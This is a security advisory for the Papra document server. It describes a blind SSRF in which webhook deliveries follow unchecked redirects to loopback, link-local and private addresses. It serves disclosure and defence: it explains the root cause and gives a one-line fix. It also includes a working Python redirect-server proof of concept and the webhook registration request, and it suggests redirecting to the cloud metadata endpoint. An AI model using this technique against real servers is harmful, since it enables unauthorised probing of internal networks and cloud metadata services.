GHSA-5g86-85rp-f9hx

### Summary

Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (`ofetch`) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.

### Details

**The vulnerable call**

The webhook HTTP client in `packages/webhooks/src/webhooks.services.ts` (lines 16–19) calls `ofetch.raw()` without specifying a `redirect` option:

```typescript const response = await ofetch.raw<unknown>(url, { ...options, ignoreResponseError: true, // no `redirect` option — defaults to 'follow' per Fetch API spec }); ```

`ofetch` is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — `follow`, `error`, and `manual` — and sets `follow` as the default. In `follow` mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. `ofetch` 1.4.1 does not set a `redirect` option in its internal `fetch()` call, so the default applies. The `ignoreResponseError: true` option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.

**How the bypass works**

The SSRF protection runs at two points: registration time (`checkWebhookUrlIsSsrfSafe`, `webhooks.usecases.ts:34`) and delivery time (`filterOutSsrfUnsafeWebhooks`, `webhooks.usecases.ts:124`). Both checks work the same way:

```typescript // apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27 const hostname = getUrlHostname(url); return isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger }); // Resolves hostname → checks all resulting IPs against the blocklist // Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, // 169.254.0.0/16, ::1, and other reserved ranges ```

Both checks operate on `url` — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The `Location` header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.

The developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.

**Evidence**

Attacker's redirect server receives the POST and returns 302:

``` [2026-05-08T15:55:38.388647] POST /redirect User-Agent: papra-webhook-client ← set only in webhooks.services.ts:47 X-Forwarded-For: <REDACTED> "POST /redirect HTTP/1.1" 302 - ```

Papra's inbound request log immediately after — this is the server logging a request arriving at itself:

``` {"message":"Request completed","timestampMs":1778255738420, "data":{"status":200,"method":"GET","path":"/api/health", "userAgent":"papra-webhook-client"}} ← outbound UA on an inbound request ```

`papra-webhook-client` is set exclusively by the outbound webhook delivery code (`webhooks.services.ts:47`). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:

``` {"message":"Webhook triggered","timestampMs":1778255738422, "data":{"responseStatus":200,"webhookId":"wbh_s6t1xzezbzbivyhptcs7qxhk"}} ```

### PoC

1. Start `redirect_server.py` on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace `REDIRECT_TARGET` with `http://169.254.169.254/latest/meta-data/` or any internal address.

```python from http.server import HTTPServer, BaseHTTPRequestHandler from socketserver import ThreadingMixIn import datetime

REDIRECT_TARGET = "http://127.0.0.1:1221/api/health" # replace with desired internal target

class RedirectHandler(BaseHTTPRequestHandler): def do_POST(self): content_len = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(content_len) print(f"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}") print(f" User-Agent: {self.headers.get('User-Agent')}") print(f" Body: {body[:200]}") self.send_response(302) self.send_header("Location", REDIRECT_TARGET) self.end_headers()

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): pass

if __name__ == "__main__": server = ThreadedHTTPServer(("0.0.0.0", 9999), RedirectHandler) print("Redirect server running on port 9999") server.serve_forever() ```

> `ThreadingMixIn` is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.

2. Register a webhook pointing to the redirect server: ``` POST /api/organizations/{orgId}/webhooks {"name":"ssrf-test","url":"https://{ngrok-url}/redirect","events":["document:created"]} ``` 3. Upload any document to the organisation to fire a `document:created` event. 4. Confirm on the Papra server logs that `/api/health` received a GET request with `User-Agent: papra-webhook-client`.

### Impact

- Any authenticated org member (no admin role required) can trigger the exploit. - The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: `127.0.0.0/8`, `169.254.0.0/16`, RFC-1918 ranges. - **This is blind SSRF** — internal response bodies are written to `webhook_deliveries` but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API. - Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response). - HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs. - On cloud deployments (AWS, GCP, Azure), the instance metadata service at `169.254.169.254` is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.

**Suggested Fix**

Add `redirect: 'manual'` to the `ofetch.raw()` call in `packages/webhooks/src/webhooks.services.ts` (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:

```typescript const response = await ofetch.raw<unknown>(url, { ...options, redirect: 'manual', // do not follow redirects ignoreResponseError: true, }); ```

If redirect-following is ever required in the future, validate the `Location` header through the existing `isUrlSsrfSafe()` check before re-issuing the request.